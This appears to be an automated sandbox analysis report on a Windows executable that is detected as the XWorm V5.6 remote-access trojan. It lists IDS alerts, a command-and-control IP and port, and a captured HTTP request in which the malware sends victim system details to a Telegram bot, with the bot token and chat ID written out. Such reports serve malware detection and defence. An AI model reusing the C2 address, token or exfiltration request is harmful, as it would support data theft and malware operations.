Windows Analysis Report
vUlh7stUHJ.exe

EXE planting / hijacking vulnerabilities found

Compliance

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

EXE: cmd.exe

PE / OLE file has a valid certificate

Source: vUlh7stUHJ.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49842 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: vUlh7stUHJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: D:\a\1\b\bin\win32\_multiprocessing.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_uuid.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \1\b\bin\win32\_decimal.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1436040281.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdbOO source: vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: pw.exe, 0000000E.00000000.1648029242.00000000003C2000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1404572275.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_codecvt_ids.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1407650442.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1404572275.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtquick3d\lib\Qt5Quick3DUtils.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_queue.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_elementtree.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1438088331.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtquick3d\bin\balsam.pdb!! source: vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_codecvt_ids.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1407650442.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_atomic_wait.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1406854629.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: olx.exe, 00000018.00000002.1953924528.00007FFB23A71000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: olx.exe, 00000018.00000002.1953924528.00007FFB23A71000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_overlapped.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \1\b\bin\win32\_decimal.pdb%% source: vUlh7stUHJ.exe, 00000000.00000003.1436040281.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_sqlite3.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\winsound.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1423026225.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtquick3d\bin\balsam.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pyexpat.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_bz2.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\select.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1429404343.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_atomic_wait.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1406854629.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: pw.exe, 0000000E.00000000.1648029242.00000000003C2000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_asyncio.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_hashlib.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_msi.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\unicodedata.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_socket.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1423026225.000001F67677B000.00000004.00000020.00020000.00000000.sdmp

Spreading

Source: C:\recover\olx.exe

Code function: 15_2_00007FFB1C35A260 FindFirstFileExW,FindClose,wcscpy_s,_invalid_parameter_noinfo_noreturn,

15_2_00007FFB1C35A260

Software Vulnerabilities

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	15_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rsi	15_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rdi	15_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rsi	15_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	15_2_00007FFB0A651A68
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	15_2_00007FFB0A651A68
Source: C:\recover\olx.exe	Code function: 4x nop then push r14	15_2_00007FFB0A72F9F0
Source: C:\recover\olx.exe	Code function: 4x nop then sub rsp, 28h	15_2_00007FFB0A6E4A20
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	15_2_00007FFB0A6E4A20
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	15_2_00007FFB0A6E4A20
Source: C:\recover\olx.exe	Code function: 4x nop then push rbp	15_2_00007FFB0A736010
Source: C:\recover\olx.exe	Code function: 4x nop then push rdi	15_2_00007FFB0A72FDE0
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	24_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rsi	24_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rdi	24_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rsi	24_2_00007FFB0A6E4B00
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	24_2_00007FFB0A651A68
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	24_2_00007FFB0A651A68
Source: C:\recover\olx.exe	Code function: 4x nop then push r14	24_2_00007FFB0A72F9F0
Source: C:\recover\olx.exe	Code function: 4x nop then sub rsp, 28h	24_2_00007FFB0A6E4A20
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	24_2_00007FFB0A6E4A20
Source: C:\recover\olx.exe	Code function: 4x nop then push rbx	24_2_00007FFB0A6E4A20
Source: C:\recover\olx.exe	Code function: 4x nop then push rbp	24_2_00007FFB0A736010
Source: C:\recover\olx.exe	Code function: 4x nop then push rdi	24_2_00007FFB0A72FDE0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 103.232.55.173:7777 -> 192.168.2.7:49855
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.7:49855 -> 103.232.55.173:7777
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 103.232.55.173:7777 -> 192.168.2.7:49855
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.7:49842 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 103.232.55.173

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 26.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.olx.exe.239ef437310.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, type: UNPACKEDPE

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.7:49855 -> 103.232.55.173:7777

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /bot7898406264:AAEcJvD5oP4JuBuf3i4snVJp7o4fDp7tsuw/sendMessage?chat_id=-1002292872097&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A49ADBA61C1A62D0D1A8E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20MOE6XX6%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: AIMS-MY-NETAIMSDataCentreSdnBhdMY AIMS-MY-NETAIMSDataCentreSdnBhdMY

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	TCP traffic detected without corresponding DNS query: 103.232.55.173
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /PlayReady/ACT/Activation.asmx?WSDL&Client=Win10&LinkId=613387 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-PlayReady-DRM/1.0Host: activation2.playready.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
